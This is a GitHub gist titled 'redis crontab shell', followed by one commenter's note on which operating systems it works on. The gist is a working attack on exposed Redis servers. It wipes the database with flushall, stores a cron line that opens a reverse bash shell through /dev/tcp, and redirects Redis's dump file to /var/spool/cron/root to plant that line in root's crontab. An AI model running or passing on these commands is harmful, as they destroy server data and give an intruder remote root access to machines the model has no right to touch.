Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
redis crontab shell
redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

This comment has been minimized.

Copy link

@imfht imfht commented Nov 29, 2018

not working for ubuntu16.04
works well on centos 6.9

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.